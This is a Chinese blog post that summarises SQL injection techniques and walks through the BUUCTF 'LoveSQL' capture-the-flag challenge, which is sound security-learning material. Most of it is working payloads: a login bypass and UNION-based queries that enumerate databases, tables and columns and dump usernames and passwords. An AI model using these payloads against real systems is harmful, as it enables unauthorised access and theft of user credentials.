目前对于sql注入的学习还存在于简单的联合注入,本文是对注入语句的一个总结
尝试语句
大部分sql语句都是
1 | $id=$_GET['id']; |
这个形式只需要id=1’# 或者 id=1’–+ 或者id=1’’
对于$id,其中 ‘ 是为了闭合sql语句中第一个 ‘ ,形成’1’,而#和–+是为了把后面的引号注释掉,也可以再加一个引号将其闭合
形成
1 | SELECT * FROM users WHERE id='1'#' |
最终识别的就是查询id=1的内容
也可以尝试一下万能密码
1 | admin' or '1' = '1 |
说不定有惊喜
再这里举个例子,BUUCTF中的[极客大挑战 2019]LoveSQL
爆字段数
1 | 1' order by 1 # |
当输入到1’ order by 4 #后报错
说明只有3个字段数
联合注入
回显定位
1 | 1' union select 1,2,3; # |
回显定位显示再2和3上可以使用sql语句
查数据库
1’ union select 1,database(),3#
database()函数可以显示他依赖的数据库
或者可以查询所有的数据库名自己判断
1 | 1' union select 1,group_concat(schema_name),3 from information_schema.schemata# |
爆数据表
1 | 1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()# |
或者
1 | 1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=geek# |
有两个数据表
爆字段
分别对它们进行查询
1 | 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='geekuser' |
两个都是这个
爆破数据
1 | 1' union select 1,2,group_concat(id,username,password) from geekuser# |
最终查询到flag在l0ve1ysq1数据表中
文字有点长,可以缩小屏幕或者看源代码得到flag
本题是作为无过滤联合查询的经典例子使用